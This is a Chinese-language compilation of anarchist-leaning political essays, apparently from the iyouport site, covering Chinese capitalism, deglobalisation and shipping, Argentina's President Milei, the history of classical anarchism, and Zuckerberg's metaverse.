最后，对于那些确实保有农村土地的人来说，中国的农业已经发生了深刻的资本主义变革，土地使用权被农业综合企业所掌握，同时各种投入也被商品化。土地仅仅形式上由集体正式持有，对这一进程几乎没有什么抵制作用。

「图」

「图」

资本主义价值生产的逻辑已经深入到经济和国家之中，极大地改造了中国的社会结构。

但理解当代中国的阶级关系只是第一步。更全面地评估阶级和其他形式的基于种族、性别、地域和公民身份的社会等级的复杂的共同构成，对于制定足以应对当前深刻危机的政治对策来说是必要的。

一系列紧迫的现实问题，不能仅仅基于阶级分析来解决，更不能基于主导的自由主义或民族主义框架来解决。我们应该如何解读中国国家在香港政治上扼杀社会反抗的努力、吞并台湾的承诺、以及新疆和西藏的汉人殖民项目？一带一路倡议下全球投资的巨大增长，是否是新兴资本主义帝国的表现？对中美冲突加剧的正确的、激进的、反民族主义的、反帝国主义的回应如何才能最恰当？

这些都是变革推动者今天面临的一些最紧迫的问题，并没有简单的答案。但有一点是肯定的：中国国家单方面引导世界进入社会主义未来的 *虚假承诺*，必须遭到反资本主义抗议者的全面抵制。

尽管相信一个新兴的超级大国会建立我们想要的世界会让人感到欣慰，但是，那只是一种幻想。我们必须亲自建造它。〇

Why China Is Capitalist

原文

为什么说全球化是人类历史上最成功的失败 - iyouport

社会反抗和思考

关于为什么说全球化是人类历史上最成功的失败，它如何赠予财富、并窃取人民选择自己命运的权利，以及船舶与这一切有什么关系。

感谢读者来稿！

此前读到了IYP发布的《离岸革命，在岸资本主义—— 船舶与中国和世界不断变化的关系》，它通过一艘船的生命来梳理中国和全球资本主义的接触及演变。这篇文章选择了一个重要的视角 —— 船舶，但是，很可惜，它的视野有点狭窄了，没有能借助到船舶这一重要载体在当下更为深刻的意义。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

这可能与作者的身份有一定关系，该作者是专门研究中国的，于是倾向于从她自己的 “内部” 角度向外看，可能很难走太远。我没有能力做详细和深入的论述，那大概需要一本书的规模，但我想尝试为其补充一个可能的论述框架。

船舶是全球经济的运输骨干。全球贸易量的80%和价值的70%都是由船舶运载的。要想用火车取代一艘横穿巴拿马运河的大船，就需要一列 65 公里的火车，想用卡车取代那就至少得有6500辆卡车。

船只是运输货物最便宜的方式。跨越两个大洋运送一个集装箱的费用大约为700美元。一双鞋是11美分。一艘最大的商船支付一百万美元，通过苏伊士运河运输 18,000 个集装箱。每个集装箱约 55 美元。一双运动鞋不到一美分。

通过将货物的运输成本降低到其价值的1%，全球化已经将国家市场的“群岛”变成了全球集市，在那里，每个人都在与其他人进行交易，从而吃饱肚子。在历史上，从未发展得如此之快，数量如此之多，而且无处不在。随之而来的是生活水平和预期寿命的提高，知识和技术的传播 …… 滋生了伟大的幻想，似乎人类即将在星际间繁衍生息。

船只越来越多，而港口越来越少，因为港口不是为了一个城市或国家服务的，而是为国际体系内的区域服务。

大船航行缓慢：~20–40公里/小时。不是因为他们不能走得更快。而是，速度会增加燃料消耗，从而增加运输的成本。

在过去，缓慢航行是很危险的—— 竞争对手会攻击你。然而，二战后，美国接手了这个问题，向世界提供了一个新的经济秩序，以换取反对苏联的政治联盟，他们说：只要你和我们站在一起对抗苏联，我们就会让你进入所有市场，用我们的海军保护贸易路线。这笔交易成功了，它决定了冷战的结果。

从那时起，人们已经习惯了这一成功所带来的新世界。有些人沉醉于此，急于宣布“历史的终结”，却仍未意识到这个“新世界”原来是如此地 ……脆弱，明知一切都是暂时的，而现在，却正朝着一个永远都不会回来的过去飞奔。

全球化的一个副产品是，它促成了完全的依赖：首先是依赖美国为世界贸易（及其价值）提供赞助的意愿和能力，其次 …… 是每个人对彼此的依赖。

在过去，每个国家都试图创造一个自主的经济，这是明知不可能的，因为每个地域的资源都是有限的。在自身资源匮乏的情况下，你要么征服他人 —— 因此出现了帝国及其殖民地；要么成为其他更具侵略性的征服者的牺牲品。是全球化改变了这一动态，使没有非常强大的军队的国家可以拥有以前无法想象的能力，可以从世界任何地方汲取各种资源。然而，不仅如此，它还发生了变化。

随着进入世界市场，每个国家的经济都经历了专业化：这些国家提供面包，那些国家提供铁，其他国家提供廉价劳动力。这意味着，如果提供面包的人突然从系统中退出，那么每个人都将没有面包，因为每个人都在依赖其他人。除了美国自己和其他极少的几个国家，所有人都是如此。

全球化的另一个有利可图的陷阱是供应链的多样化，即 生产一件东西的过程被分割成了成千上万个步骤，使得能做其中一部分工作的工人不知道如何做同一过程的另一部分工作：比如 提炼硅的人不能制造硅片，能制造硅片的人无法制造主板，能制造主板的人不会编码 …… 等等。

在全球体系内，这种专业化已经不均衡地改变了整个国家：一些国家被磨成了纯粹的廉价劳工，另一些国家则成为了由别人创造的、由别人设计的零件组装成的机器。从整个系统的角度来看，这是符合逻辑的和正确的。但是，这种特殊的制度从未将世界上所有的人民团结成一个单一的、真正的共同实体，它始终保留着民族国家的残余。

生产和消费的地理环境出现了不同步的情况。这就是为什么种植优秀可可豆的人可能从未品尝过巧克力。昨天才生产了飞机的国家已经成为商品的附属品，现在只能以玉米而闻名而不是以战斗机。谁在昨天没来得及建厂，谁就永远不会建厂了，同时也不觉得那是一个问题，因为他们现在可以进口任何工业产品来交换他们种的豆子，而自己建厂的动力就消失了。所以把非洲放在整个游戏中，它仍然没有工业化，而现在它可以充分感受到乌克兰小麦的短缺 ……

是的，全球化催生了巨大的经济增长，但它也在自由市场的类固醇上催生了巨大的不平等现象。不平等不仅是人与人之间或阶级与阶级之间的不平等，它还包括国际上的不平等。事实上，不平等的“合理性”剥夺了人民选择自己命运的权利。如果你的人民没有成功地在旧帝国的再分配时代占据领先地位，那就干脆忘掉建造飞机的梦想吧。去为那些比你们更富有的国家服务，他们会代替你们制造飞机，或者像你我一样为那些富人服务，从此成为这个故事中的 “面包师国家”。

帝国中心以外的每一个国家都必须明白自己不再有国民经济。—— 如果你自己制造的汽车仍然不能成为丰田的真正竞争对手，那么你指望谁会需要它？如果你忽然间不能再驾驶丰田，你会开什么出门？…… 一切都是如此。中国的帝国主义已经再明显不过了，虽然它的消费者仍然没准备好“爱上”比亚迪。

随着去全球化的发展，被新秩序禁锢的国家中的人们会迅速走下坡路，就如同全球化期间精英们的钱包的膨胀速度一般迅猛。富国能买到穷国，但穷国无法为自己购买工程师。半导体工厂将能够为汽车制造芯片，但汽车工厂不能制造半导体。

绝大多数人类都将是反增长的。生活将变得缓慢，生活将变得更加昂贵，商品将越来越稀缺。

尽管全球化有种种缺点，既然它给世界带来了如此多丰厚的脂肪，为什么要停止呢？其原因是什么？

首先，苏联已经垮台，美国不再有兴趣以同样的优惠条件向所有人提供其海军。如果你已经赢了，已经成为了霸主，现在可以对你的服务收取高昂的税金，又有什么理由继续提供优惠呢？这就像放弃赚大钱的生意而去做慈善，重复支付已经支付过的抵押贷款。

第二，美国并不需要一个全球系统来养活自己。与那些被绑在该系统中的所有其他人不同，美国本身从未将其经济捆绑在全球化上。美国GDP中只有11%是出口。其中三分之一是石油。美国贸易组合的2/3是在西半球。世界主要货币仍然是美元。美国经济是最大的、最孤立的和最安全的。它根本不需要你你你。而你你你们自己会在即将到来的世界中拼命跑向它。

第三，全球化带来的世界物质基础的增长改变了其价格，创造了新的区域领导者。今天，美国不再拥有必要数量的巡逻舰来保护每个人的贸易路线。对美国自己的贸易来说，是的，有；对于数量有限的有偿付能力的合作伙伴的贸易需求来说，是的，有。但对整个世界来说就不是这样来，它正在分裂并变得多极化 —— 它将分裂成区域集群，每个集群的价格、条件和交换规则都不同。中国的**BRI**想要抢夺的就是一个集群，甚至是一个跨区域的集群。这一手段是中国帝国的最典型特征之一。但你知道，它更有可能会变成一个幻觉。

美国军事基地的缩减，巡逻舰的减少，美国民族主义情绪的上升，霸权主义生产本身向西半球的迁移和集中，都是去全球化的症状，在大流行、全球经济危机和乌克兰战争的作用下加速。

船只在一个链条中工作：从一个港口驶向另一个港口，沿途卸下货物。供应链中任何一个阶段打个嗝都会导致一连串的痉挛反应，甚至能导致整个地区的产业在世界体系中停止。

除了美国，世界上只有四个国家在物理上有能力到达波斯湾：法国、英国、日本和中国。但这些国家都不能为贸易路线的安全运行提供必要的护航，在这个世界上，俄罗斯是敌人，中国是敌人，沙特人开始感到沮丧、第三世界再次被抛弃，而欧盟在克里姆林宫的针锋相对下正在开裂。全球系统发挥作用的条件已不复存在。

如果把美国从贸易安全的保证人中剔除，世界将失去普遍的一体化、失去全球市场、失去大众消费，并经历去工业化。由于没有担保人，却有着相互竞争的地方派别，与航运有关的风险以及全球贸易的价格

都会自动暴涨。

这有什么影响？

如果货物运输价格降低1%，贸易量就会增加5%，以及相关的生产、工业和财富的增长。好吧，现在你应该很容易想到。当运输价格上升而不是下降时，会发生什么 ……

大多数专业化的、在全球化中获利的国家都无法靠自己的力量维持目前的工业化生存水平。这样的国家注定要回到前工业化时代。包括中国的纸老虎。当人们谈到 “加速”的时候，可能没有抵达这个层面。

这就是一个体系内没有公平的增长的代价，一方面，这个体系向人们展示了全球合作的潜力，但不幸的是，另一方面，它只是先进帝国主义的一个临时性的门面。〇

1. Globalisation #Deglobalisation #Nationalism #Imperialism #China #USA #Trade #Economiccrisis #vessels

转发评论【1】——

「图」

在一个没有所有人对所有人的贸易、供应链断裂的世界里，全球化是不可能的。如今你周围的一切都取决于对所有市场和资源的自由准入，以及低廉的运输成本，而这种成本只有在一个和平的世界里才会足够低。

这一直是全球化的主要条件 —— 全球贸易而不是全球战争。现代世界就结束在第一颗子弹击中商船的地方。这颗子弹改变了地球上绝大多数生命延续下去的成本。

70多年来，几乎所有的国家经济都被重新连接起来，在全球范围内相互依赖。这就是为什么他们可以发展得如此迅速，以至于任何前工业化的落后地区都发现有可能用他们种植的豆子换取任何工业商品，如iPhone。

没有A流氓就没有全球化。没有B流氓也没有全球化。这跟你认为他们是不是流氓并无任何关系，而是因为，他们所拥有的东西是让这个系统能够运转的一部分。这就是那个插头 —— 无法在排除/“取消”任何人的情况下维持目前的秩序完好无损。现在这个插头被拔起来了。

参与者之间的冲突，和/或任何人被排斥或退出系统，都意味着所有的人将失去在现代世界生活所需的资源。并不是每个人都能在其他地方获得这些资源。绝大多数人不能。

现在呼吁把“外人”挡在门外、“废除”、“禁止”什么什么的人道主义者，意识形态的坚定者，他们所表达的态度光彩夺目，但也同时意味着他们对经济的运作方式根本性一窍不通。这就是为什么我说那个裸体抗议的人在表演，很可能基于权力竞争，因为基本上只有权力竞争能让人对现实危机产生“可利用价值”的幻觉。

没有人会为了其他人的利益而把自己冲进马桶 —— 没有天然气没有中小型工业，没有重工业，没有暖气，没有钢 .....不会的。这就是为什么武器供应在下降。

昨天几千人已经开始在德国普劳恩举行示威以抗议预期中的电力和天然气价格上涨。这只是个开始。英国是11.5万名工人罢工，11.8万人抗议，在能源监管机构门外焚烧电费账单，反对10月份电价上涨了80%（搜索这场运动 “Don't Pay UK”）。

全球化是一条衔尾蛇。在战争时期，安全的海上贸易是不可能的。正如没有柴油就不可能有海运贸易一样。而没有石油就没有柴油。而且，如果你没有一个能让你进行安全贸易的舰队，你要去哪里获得石油呢？..... 一切都与一切相连。

现在仍然有一些人抱有幻想认为美国不会允许去全球化，不，截然相反，美国基本不会受影响，正如这里所解释的 。去全球化的确冲击着每个人，但它对每个人的冲击力度并不一样。

是的，直到最近，美国还享受着廉价的中国工人，但是 .....中国工人不再廉价，而中国本身现在是敌人。今天的中国人可以由墨西哥人取代 - 他们已接受过这方面的培训。

是的，美国将半导体制造外包给台湾，现在正通过资助将该制造转移到美国本土来缩小差距。此外它在东南亚有一个可靠的安全网：日本和它的超级舰队。

简而言之，去全球化对美国来说不仅不是致命的，而且是有利可图的。你认为当亚洲和欧洲变得完全不稳定时，投资者会去哪里？难民会去哪里？回到他们当年逃离二战的同一个地方...

转发评论【2】——

「图」

不论是在经济灾难、气候危机、去全球化、国际关系 ……还是乌克兰战争上，一些著名的权威级知识分子所表现出的懒惰都是惊人的。就如他们中很多人至今都没能认识到所有权经济（布什的政治遗产）是08年金融危机的根源性原因。- 他们继续 “看好” NFT 这个只是披上了新马甲的所有权经济...

以乌克兰为例。直到今天，即使是最权威的知识分子也在继续使用 "疯狂的普京"、"帝国的欲望"、"国家的意志" 这样的主题来诠释这场灾难 —— 简而言之，那些从巫师和算命先生的口头语中抽象出来的东西。意识形态的烟雾。

iPhone由11,000个零件组成，在供应链上有10,000个独立步骤。即便你能独自实现制造10,999个零件的步骤，你也不会有iPhone。你只有一大堆零件。

换句话说，其生产的一万个步骤中的每一个 —— 从在世界不同地区开采和准备材料，到运输和在工厂中组装成最终产品 —— 都是最基本的和必须的。而这只是在海上贸易的风险和成本几乎为零的情况下才有可能。

当下的人们认为是“规范”的经济设计，其实是一个幻象，只不过是一个短暂的历史反常现象。如果没有一个建立在有保障的海上贸易路线安全基础上的全球系统，事情就会以不同的方式运作：没有中间产品的专业化，将供应链移到离最终产品的消费者更近的地方，缩短这些链条，并优化其能源消耗。

简单说，一切都开始变少了，一切都开始变贵了。这种系统的崩溃意味着世界上2/3从事生产的人口将失去自己的生计。因而一切都将受到影响。

农业部门对这一危机将是最敏感的。如果金融方面发生了什么，农民就难以购买物资。如果生产中出现问题，他们就会失去耕种大田的设备。如果工业品出现问题，他们就不再有肥料。如果能源方面出了问题，他们不仅在肥料方面陷入困境，而且在杀虫剂和除草剂方面也将出现问题，这些都需要石油来生产。

让iPhone见鬼去吧，没事。供应链的中断意味着你会晚几个月收到你的小玩物。但是这在农业部门并不可行。对于农民来说，在任何一个生产阶段延迟几个月，都意味着整个季节不会有庄稼。我们中有任何

人能通过玩手机填饱肚子吗？

而俄罗斯不仅是地球上主要的化肥出口国，而且也是其他国家生产化肥所需材料的主要出口国。从这个过程中去掉化肥，世界上的食物就会减少2/3。到今年年底，由于乌克兰的战争和相关的供应链中断，已经有4亿到10亿人可能面临粮食短缺。（见这里）这就是为什么我一直强调中国和俄完全不在一个重量级上，乌克兰不是台湾。

这就是关于战争和缺乏全球协议究竟意味着什么。任何意识形态都不具备说明这一问题的能力。人们以为是“规范”的一切都在一条线上运行，而且像蛋壳一样脆弱。

反对流氓的姿态始终值得称赞。但是，如果只是为了一个姿态而主动去缩窄自己的视野，主动变得浅薄和泼妇化，那么这样的论述不仅对解决问题无意义，并且它会明显形成障碍。重复：不论是在经济灾难、气候危机、去全球化、还是国际关系上，这种被“权威”们主持的浅薄化和泼妇化都是障碍物，而非垫脚石。

阅读IYP这个冗长的thread，它一直在记录来自全世界的生活成本和能源危机，而且显然只是抓取了一些代表性的，远非完整：

互联网上的人们喜欢姿态，尺度越大越帅；我同意表演是自由的，但如果对表演的痴迷阻碍了解决方案的设想，我们就需要一些严肃的辩论。〇

1. Ukraine #Deglobalisation #Costofliving #Energycrisis #Economiccrisis #Ideology

原文

为什么说阿根廷新当选总统是个骗子；"无政府"究竟是种什么状态？ - iyouport

社会反抗和思考

当前的形势与 "无政府主义" 之间没有任何关系，相反，这一切咄咄逼人都是与资本主义之间的关系，资本主义将继续吞噬大多数人的劳动成果，使少数特权阶层受益。希望世界其他地区的自由派支持者能够看到阿根廷的教训，并最终认识到真正摆脱剥削压迫独裁暴政的方法是什么。

11月21日：

「图」

> 不存在“无政府资本主义”这种东西。阿根廷新当选总统是个骗子 ——

最近几天里全世界都在谈论阿根廷：因为来自极右翼选举联盟 “自由前进党” 的极端自由主义候选人哈维尔·米莱赢得了总统选举。鉴于社交网络上许多 “专家” 对这位极右翼总统观点的政治分析似乎存在严重误解，本文将尝试做一个简要的解说。

我们先简单地从米莱本人的观点入手，看看这些观点会对该国普通民众的状况产生怎样的影响。

这位阿根廷新总统是 “市场能解决一切问题”（又称新自由主义/达尔文资本主义）思想的支持者，他认为应尽量减少国家对民众经济生活的干预 —— “自由主义” 不等于“自由意志主义”，可在这里查看这两个概念的区别。

在极右翼自由主义的意识形态中，社会发展的引擎是私营企业，私营企业的责任之一本应包括对其员工的福祉负责。减税会对大部分人赖以生存的社会项目造成相当严重的后果：从短期失业救济到获得医疗保健等等。这些社会项目的绝大部分·都·不·是·国家施舍的结果，而是

工人在国家存在的整个过程中不断进行社会斗争的结果。

除了削减公共开支和尽量减少税收外，米莱的意识形态还包括减少国家在保护民众安全方面的作用—— 但这·只·是·意·味·着暴力的私有化：“保护” 的理念不再是警察这样的中央集权机构，而是转移到了私营企业，而私营企业在获得武器权的同时，也有机会组建自己的小规模军队，为自身利益而使用暴力。

很难想象，在一个选举出这样一位总统并持续陷入经济危机的国家里，工人们将如何自发地组织起来与国家暴力和企业暴力进行双重斗争。

到选举时段，阿根廷的贫困率仍徘徊在40%左右。在这样的经济环境下，私营部门日益增长的影响力只会对民众的权利造成更加严重的后果。在这种情况下，自由派最著名的枪支权利可能会成为控制劳动力的另一个因素，鉴于目前的事态，大多数劳动者都不可能买得起枪。

总体而言，米莱的 “新” 政策的承诺让人想起娜欧米·克莱因（**Naomi Klein**）在书中描述的老派资本主义休克理论：最激进的 “自由市场”代表利用政治/经济危机来推动不受欢迎的措施，以此作为解决问题的办法。经历过苏联的人都会记得九十年代疯狂私有化的故事，最终的赢家是最有 “企业家精神” 的人，而大多数人则再次变得一无所有，被抛向破碎的谷底。

除其他外，他的朋友圈子也揭示了米莱的政治计划：从公开的西班牙法西斯政党“呼声党”/VOX、到特朗普和博索纳罗这样的政客 —— 这位阿根廷新总统显然与极右翼分子为伍，他与 “无政府主义者” 之间的相似性，就像特斯拉总裁马斯克与萨帕塔民族解放军的副司令马科斯之间的相似性差不多。

也许有人会问，作为无政府主义者的我们为什么 “突然开始反对” 减少国家在人类生活中的作用？就如这些天里关注阿根廷选举的全球革命者都能看到的，突然之间所有无政府主义者都站出来反对米莱，这是怎么回事，而米莱主张的部分纲领与无政府主义观点甚至有些相似？

关键问题在于国家消亡/毁灭的条件。并非每一种国家消亡的情景都能代表向无政府主义社会的过渡。无政府主义的基础之一是对一般权力问题的深入研究。现代无政府主义者不仅主张废除国家，还主张废除所有其他形式的人类剥削：资本主义、父权制、种族主义 / 殖民主义 / 奴隶制等等。

就阿根廷而言，咄咄逼人地削弱国家的作用并将暴力权移交给私人公司和企业，只会导致权力被转移到精英手中，而普通民众根本无法对其施加影响。在国家，偶尔也会有政治震荡的时刻，比如新纳粹分子当选总统，而在公司，只有一小部分管理者关起门来做决策，透明度为零。你觉得对抗哪种暴政更容易些？

这是一些非常简单的事实：正如并不是每一次革命都能实现工人的解放那样，也不是每一次“废除国家”都会实现人民自由的增加。上周阿根廷选民无视过去和现在的教训，选择了极右翼政客，这只说明大众对左派的失望有多么的深重。

当前的形势与“无政府主义”之间没有任何关系，相反，这一切咄咄逼人都是与资本主义之间的关系，资本主义将继续吞噬大多数人的劳动成果，使少数特权阶层受益。希望世界其他地区的自由派支持者能够看到阿根廷的教训，并最终认识到真正摆脱剥削压迫独裁暴政的方法是什么。

11月23日：

「图」

> 新总统的就职典礼将于12月10日举行，届时阿根廷将纪念“军事独裁政权倒台40周年”。

无政府状态是在你不想成为政客的时候

「图」

无政府主义者之所以被视为“只关心自己利益”的一群人，原因之一就是他们不相信“政治代表”的概念。

媒体和当权者制造了一种假象，就好像大多数人都对选举投入了极大的热情，热衷于将选票投给能够“捍卫”他们利益的候选人或政党。这不是真的。由于人们相信自由派所谓的“民主”能通过代表制赋予公民权力，无政府主义被视为反社会的观点而遭到斥责。这显然是错误的。虽然许多人觉得投票是迫不得已，但无政府主义者对盲目地将权力授予政治精英的天真热情表示怀疑。

无政府主义者有充分的理由对政治代表制保持警惕。并且，无政府主义对代表权的看法是与公众对政治的态度有机地交织在一起的，并无特殊。

首先，选举只对合格选民开放。更糟糕的是，由于只有一小部分当选代表能够控制政府，因此任何选举的关键结果都是由少数人决定的。自由主义“民主”制度就是少数人选举出极少数人来管理国家。大多数人不参加选举，大多数人的声音也不被听到。而无政府主义者与大多数“普通人”团结一致。

其次，许多选民参加选举是为了抗议精英，挑战现状。他们认为这是一种反抗行动，是对制度的斥责。人们在顺从体制的运作的前提下，寄希望于选出的候选人能从内部摧毁体制。由此，越来越多的反建制候选人受到不满选民的欢迎。无政府主义者并不反对当前的制度需要改变，并乐于帮助瓦解这一制度。然而，很多人已经清楚地认识到，一旦进入体制内部，任何政治行为者都将不可避免地会成为体制的一部分，为少数人的利益服务，损害整个社会的利益并使大多数人屈从。从古至今的无数事实一再证明了这一点。

最后，许多人认为代表制行不通，并认为任何声称代表他们的政客都是伪君子。虽然有些人可以被蒙骗下放权力并在选举中投票，但只有极少数人渴望成为政客。在这意义上当权者才是真正的“边缘人”虽然他们掌控权力。

我们大多数人并不寻求成为政客，因为我们认识到代表制的欺诈本质。如果你问为什么有人不想从政，他们很可能会回答说政治是腐败的。然后他们可能会承认，他们不认为那是一份真正的工作，并说他们讨厌虚伪，而所有政客最终都会参与其中。

要明白政治代表是一个骗局并不需要什么高深的知识。不从政是一个常识和体面的问题。拒绝在政治机构中代表他人并不是罕见的态度，而是绝大多数人根深蒂固的信念。

如果无政府主义者能够让更多的公众注意到这一悖论：也许政治宣传已经说服了大多数公民，让他们相信在选举中投票对他们有好处，但绝大多数人仍然直觉地拒绝成为一名政客。授予权力是一回事，对他人行使权力则是另一回事。

也许有不少人可以容忍某种程度的暴力，但最终多数人都会拒绝为残暴地压迫人类同胞承担责任。我们都认为奴役他人是不人道的，也不想掌管不公平的暴力制度。某些情况下人们可能会被误导着接受了暴政，但人性不可能被打败或完全根除 —— 拒绝登上政治金字塔顶端是一种抵抗形式，它源于人类共同的尊严和自由。

因此，无政府状态仍然是人类的核心。科林·沃德在《行动中的无政府

状态》（1973 年）一书中总结道：“各种形式的无政府主义都是对人类尊严和责任的主张。它不是政治变革的方案，而是社会自决的行为”。

有鉴于此，随着越来越多的人被卷入政治机制，当前的民粹主义潮流有可能对人类造成损害。对于那些对“从内部改变政府机构”的承诺深信不疑的人来说，现实的考验就在眼前：这些理想主义的逆反者将变成他们所憎恨的东西—— 精英压迫者。因此，远离政治意味着拒绝成为机器中的一个功能性齿轮。这是大多数人都能理解并认为合理的无政府主义原则。

无政府状态不是极少数人的专利，而是社会的基本结构。正如沃德所言，“一个无政府的社会，一个没有权威的自组织的社会，总是存在的，就像雪地下的一粒种子，被国家及其官僚机构、资本主义及其浪费、特权和不公正、民族主义及其自杀性的忠诚、宗教冲突及其迷信的分离主义的重压所掩埋”。

在最人道的时候，人类本就是心地善良的无政府主义者，我们并不想伤害和压迫彼此。只要我们中更多的人能够看到政治代表制的误导性和伤害性。它扼杀和限制了我们的人性。在直觉层面上，大多数人其实都明白代表制的反常影响，因为他们不想成为政客。

5月11日帖 —— 答读者问—— 为您的讨论开辟不同的视角：以反等级制为例

「图」

> Q：「你们反对等级制，但我经历的任何组织都是等级制的。如何才能消灭等级制？如果做不到，那说明无政府状态只是个神话？…… 技术能带来平等吗，还是必然造成高科技极权主义？…… 你们发布过的相关内容我都读过了，能不能说点以前没说过的？」

古典无政府主义的出现是对19世纪初平等主义面临的三大挑战的不同寻常的回应

「图」

> 无政府主义者追求的是一条逃离专制制度根基的路线，这种专制制度抑制了人们，因此他们逃离了构成

囚困人们的牢笼的理性存在。

1、自然平等的终结

「图」

启蒙运动提供了一个人与人之间“自然平等”的形象，人们具有同等的理性、基本的美德和普遍的热忱。那个时代所有旨在建立社会平等的计划，都是以这种“自然”—天然—平等的形象为基础的。

但后来，浪漫主义的出现打破了这一切。

在浪漫主义者看来，人与人根本性的不同，尤其是在美德或自我约束方面的巨大差异。一个人可能生来就是天才，也可能是废柴；可能成为圣人，也可能成为怪物。浪漫主义追求的是非凡，而不是平凡。人与人之间的“自然平等”越来越难以启齿。

除此之外，生理学领域还出现了新的数据和新的理论程序。一系列新想法不断涌现，其中有一些至今仍在被沿用的想法，也有很多已经逐渐过时，如颅相学和十八世纪末的面相学。所有这些想法都旨在强调人与人之间的差异，它们宣称“人类本应不平等，这一点已被科学所证明”。

最后，法国大革命引起了人们对平等观念的强烈怀疑。至少其应用形式受到了激进变革的反对者甚至支持者的批评。

浪漫主义、生理学、集体记忆的创伤：“自然平等”的终结。

2、有机体说

「图」

三振出局，“人”的思维方式发生了变化。人与人在本质上再次不平等了。现在的问题是：当时的政治理论英雄思想家们将如何应对变化了的思想格局？

有机体说成为了主流：将社会比作一个有机体，在这个有机体中，每个器官都发挥其特定的功能，所有器官都处于等级关系中。这一认识被认为是实现“社会和谐”的唯一途径。

长期以来，传统主义者一直在用“自然不平等”的观点为社会不平等

辩护，并积极推广这种观点。自由主义又陷入了另一场危机。圣西门和傅立叶屈服于诱惑，让有机体说进入了乌托邦。一些平等主义的拥护者极力捍卫机械论的平等观。

在此背景下，出现了对有机主义论点的不同寻常的反应，这就是后来的古典无政府主义理论。

3、 综合

「图」

因此各方都在攻击旧的平等概念，它就像解剖台一样冰冷而平淡。

众所周知旧的“自然平等”观念包含两个相互矛盾的方面。一方面，它是一种解放思想，要求摧毁阶级社会中“不公正的不平等”；而另一方面，它又为精心设计的规训权力体系铺平了道路，而福柯几乎从未谈论过这点。这种平等主义与“革命精英”的救世主野心和圆形监狱的构建完全一致。

因此，这一概念可以从解放主义和压制性两种对立的立场进行攻击。无政府主义者是变革的倡导者，他们成功地破坏了启蒙运动中无聊的“平等”概念，转而支持更加激进的平等主义。这需要对有机主义做出不同寻常的且机智的回应。

虽然圣西门和傅立叶实际上放弃了平等的理念，但无政府主义却在自己的旗帜上打出了一个令人震惊的口号：平等与多样性。

现在，人文品质的“自然不平等”和人与人之间的平等理念不再矛盾了，相反，它是对平等理念的补充和加强。

4、古典无政府主义的三大支柱：普鲁东、巴枯宁和克鲁泡特金

「图」

从某种意义上说，无政府主义采用了类似有机主义的世界观。古典无政府主义理论吸收并改写了对“自然平等”的所有三种挑战：1）新的自然科学数据，2）法国大革命的创伤，3）浪漫主义的狂野多样性。

甚至普鲁东还在他的著作《什么是财产？》中试图调和差异与平等：“自然的不平等居然被认为是财富平等的条件！……多么悖论啊！……”。可以猜测，普鲁东将社会视为一种有机的东西：流动

的、连贯的、不可原子化的。

克鲁泡特金从达尔文的进化论中找到了肯定平等主义的方法。仅此一点就为新的平等主义提供了强大的理论杠杆。生物学现在支持平等，而不是反对平等。

巴枯宁抨击了国际上的专制倾向，再次建立了对革命独裁方面的怀疑传统。与曾经“乌托邦主义者”和“保守主义者”对革命的批评不同，这一次，批评是从更加平等主义的立场出发的。

三个人互相辅助，共同推进。

一个看似自相矛盾的说法正变得司空见惯：更多的多样性意味着更多的平等！

思想的走向令人震惊，但并不意外。无政府主义的经典作品是在雪莱和柯勒律治的几代人之后来到这个世界的。普鲁东和埃德加·爱伦·坡同岁。普鲁东和巴枯宁都引用了“堕落天使”这一近乎弥尔顿式的意象，这是一个相当典型的浪漫主义主题。在无政府主义理论家那里，平等主义摒弃了启蒙运动中冷冰冰的平等，接受了浪漫主义的社会愿景，将社会视为色彩和形式的狂欢。

但如何做到？为了调和平等与多样性，无政府主义采用了教育概念。（如果说共产主义理解平等的关键是“需要”的概念，那么无政府主义理解平等的关键就是“整体教育”（éducation intégrale）概念。这是蒲鲁东、巴枯宁和克鲁泡特金的共同之处。不研究“整体教育”思想的历史就不可能谈论古典无政府主义。）

5、 它们的组合

「图」

古典无政府主义出色地完成了自己的理论任务。正是这些机智的解决方案和艰苦的努力，才使平等主义在十九世纪得以生存。

通过将生物学与平等主义思想联系起来，无政府主义的经典著作使得连接其他领域的创新和精确知识的附加成为可能。要克服思维的惰性、创造出新的结构，往往需要付出特别的努力。

在俄国革命和其他事件之后，对专制乌托邦主义的怀疑更加强烈。随着时间的推移，机械论社会观的危机日益加深。

神秘的“多样性平等”从未发展成为成熟的理论。在新的世纪和新的思想环境中，“平等 + 多样性”的公式有可能突然成为“自由”项目的需求，并被其重新采用。

……

本话题未来将继续。尤其是，对于战术的系统性介绍，可能成为明年的知识主题之一。

原文

为什么说马克扎克伯格的 "元宇宙" 是一场反乌托邦的噩梦；互联网作为新的圈地运动 - iyouport

你应该了解的现实关于Facebook-这不只是一家公司社会反抗和思考

这就是我们继承的那种互联网：一个垄断性的数字购物中心，而不是一个公社。而它所帮助产生的社会只是类似于《雪崩》，而不是《星际迷航》。

上图不是玩笑。

关于美国和中国在人工智能领域争夺主导地位大权的技术军备竞赛，一直存在着激烈的辩论。但现在最具有战略意义的问题是：中国是否正在建设元宇宙。

在人工智能等基础设施技术的基础上，元宇宙指的是大量的数字体验和生态系统，从电子商务和娱乐到社交媒体和工作，人们在这里度过越来越多的生活 —— 换句话说，趋向一个无人能离线的世界。很可能很快，整个社会和经济生活中的大部分内容都是由元宇宙的规则来定义的。谁在建立这个世界，谁就是这个世界的独裁者。

美国和中国都在试图建立并宣称拥有元宇宙，欧洲等其他行为体也在试图这样做，但后者根本没有控制足够的核心技术，只有这些技术能使元宇宙成为可能。

换句话说，只有高堡奇人能做到，而且正在做。这就是为什么中国公民和美国公民对元宇宙的危险性的了解，具有最大的意义 —— 只有你们才能阻止这一灾难，在为时已晚之前。中国巨头腾讯已经开始分享其“元宇宙”愿景

「图」

当其他的科技CEO们试图开创一个大规模星际旅行的时代时，Facebook 创始人马克·扎克伯格却梦想着不向外太空而是向网络空间

扩张。硅谷的领主们都已经完成了地球上的现实，但是当埃隆·马斯克和杰夫·贝索斯安排计划实际离开的时候，扎克伯格想要设计一个更好的地球体验—— 一个由 Facebook 策划的体验。

今年7月，扎克伯格宣布，Facebook 正在向一个 “元宇宙” 公司转型，在未来五年内。这个社交媒体巨头希望蜕变为一个无所不包的平台，将社交关系、工作、商业和娱乐融合在一个大帐篷下。

